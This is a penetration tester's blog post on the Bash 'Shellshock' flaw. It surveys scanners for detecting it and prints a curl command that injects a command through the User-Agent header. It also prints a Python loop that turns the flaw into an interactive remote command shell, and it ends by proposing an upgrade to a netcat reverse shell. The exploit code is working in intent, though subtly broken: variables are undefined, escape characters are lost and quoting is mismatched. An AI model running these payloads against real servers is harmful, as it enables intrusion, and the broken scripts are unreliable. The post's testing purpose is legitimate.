Loads of information is blasted all over the internet on the new Bash vuln(s) that allowed for command execution by escaping out of environment variables.  Mubix has put together a great repository of information and PoC scripts on his Github here.

The initial attack vector was through CGI scripts.  This is because when a web server uses a CGI scripts, it creates an environment variable for each part of the request.  So an attacker could make a custom HTTP header, or use an existing one to send in the attack string and get command execution.  There are certainly many other attack vectors with other protocols, but this post will focus mostly on the web CGI attack vector.  Essentially, any application or protocol that eventually passes user input to a system command is potentially vulnerable.

Pentesterlab.com has created a vulnerable VM that you can interact with to better understand the vulnerability – here

How to check for the vulnerability?  

Many PoC scripts have been created to check for the vulnerability, and many tools have logic added to check (NetSparker, Acunetix, HP WebInspect, Nessus, w3af, Nmap via NSE scripts, etc.).  In my testing for this vulnerability, I have found varying levels of success with these tools and have had the best success leveraging custom Python scripts or w3af.

Nmap NSE Script:
When testing the current NSE script discussed here it does work, but requires you to specify the actual resource to check.  Since you should be spidering the web application and checking all the links this NSE script is only good for quick 1-off checks.

These had decent results in my testing, but these are pricey tools and unless you already have a license, you are better off leveraging a different approach.  Netsparker did have the better success over Acunetix and WebInspect which was surprising to me.  Both Acunetix/WebInspect failed to detect the vulnerability on the Pentester lab VM on the (/cgi-bin/status) resource.

Burp’s Intruder:
Burp’s intruder is always a great option for designing your own test.  You can intercept a request to a web server and send to Burp’s Intruder.  From there, you can define what parts of the request you want to modify, and what payloads you want to leverage.  One way I leveraged Burp’s Intruder was making the actual resource to request the injection point and iterate through a list of known CGI scripts with a User-Agent sending in the attack string.  Depending on the payload you define in the attack string, you will want to add in a Grep search in the response to flag any potential responses to investigate.  We have a whole blog post on Burp that goes over setting up Burp Intruder for this type of testing – here.

Nessus has a number of plugins to perform both authenticated and unauthenticated checks for the vulnerability.  I think leveraging Nessus can be very powerful for enumerating the vulnerability, but I would strongly suggest a authenticated check.  Authenticated checks means Nessus will determine the version of Bash installed by authenticating to the system.  Testing Nessus against the Pentester lab attack VM using unauthenticated checks showed that it didn’t enumerate the vulnerability.  Digging into this further, I saw it was because the vulnerable resource (/cgi-bin/status) didn’t have a file extension.  I saw that Nessus spidered the application and found the vulnerable resource but didn’t actually send the attack string at it until I modified the extension to end in (.cgi, or .sh).  This isn’t too surprising since Nessus really isn’t the best tool for dealing with web applications, but then again it can be very helpful to leverage the authenticated checks.

I had a lot of success testing the w3af plugin and leveraged a quick Python script to automate the process.  I basically put together this quick script to build up a w3af audit file to spider and check for the vulnerability on all the links enumerated.

import os, sys
from time import sleep

if len(sys.argv) != 2:
  print "Usage: shell_shocker <URL>"

# Creates a temporary w3af audit file

f=open(fname, 'w')
# Audit file will enable web_spider, and plugin named "shell_shock"
# You may need to modify plugin names for your setup
f.write("crawl web_spidern")
f.write("audit shell_shockn")
f.write("set target "+target+"n")

# Invoke w3af_console with audit script
os.system("w3af_console -s "+fname)
# Remove audit script
os.system("rm "+fname)

Linux Utilities (Curl):
Both Curl and Wget could quickly check for the vulnerability for a given resource.  This isn’t the best at finding the vulnerability because you’d have to wrap this in some sort of loop to check across many resources.  This technique could be useful to give to an administrator to test for the vulnerability on a previously identified resource after the respective patch has been applied.

curl -A "<attack_string>" <vuln_URL>  # -A will put the attack string in the User-Agent

Here is an example on the lab system:
curl -A "() { foo;};echo;/usr/bin/id"

Custom Python PoC:

This Python snippet is a very cool PoC because it drops the user into what feels like a command shell on the target.  The intention is to make the user feel like they have a shell on the system.  It will basically loop through sending requests to the server with a modified User-Agent sending the attack string.

import sys, urllib2    # Import the required modules for the vulnerability

if len(sys.argv) != 2:    # Checks to make sure that a URL was supplied as a sys argument "<script> <URL>"
  print "Usage: shell_shocker <URL>"

URL=sys.argv[1]        # Assigns URL variable and prints out message
print "[+] Attempting Shell_Shock - Make sure to type full path"

while True:        # Endless loop printing out a "~$ " and getting user input via "raw_input" to the command variable
  command=raw_input("~$ ")
  opener=urllib2.build_opener()        # Modifying the default request to include the attack string via User-Agent
  opener.addheaders=[('User-agent', '() { foo;}; echo Content-Type: text/plain ; echo ' /bin/bash -c "'+command+'"')]
  try:                    # Sets up a Try/Except loop so exceptions are handled cleanly
    response=opener.open(URL)    # Sends request and prints the response
    for line in response.readlines():
      print line.strip()
  except Exception as e: print e

Below we demonstrate this script in action interacting with a vulnerable test system.  You can see how it looks like a command shell in the top window, but it is actually just sending HTTP GET requests to the vulnerable system in the bottom window:


So we have a reliable Remote Command Execution (RCE) vulnerability and you’ll likely want to increase your access to the system by landing a raw shell.  You have many options (wget/curl over a Meterpreter or raw shell, netcat raw shell, or /dev/tcp shell, etc.).  Below you can see a quick example of throwing a netcat shell back to a netcat listener via the RCE: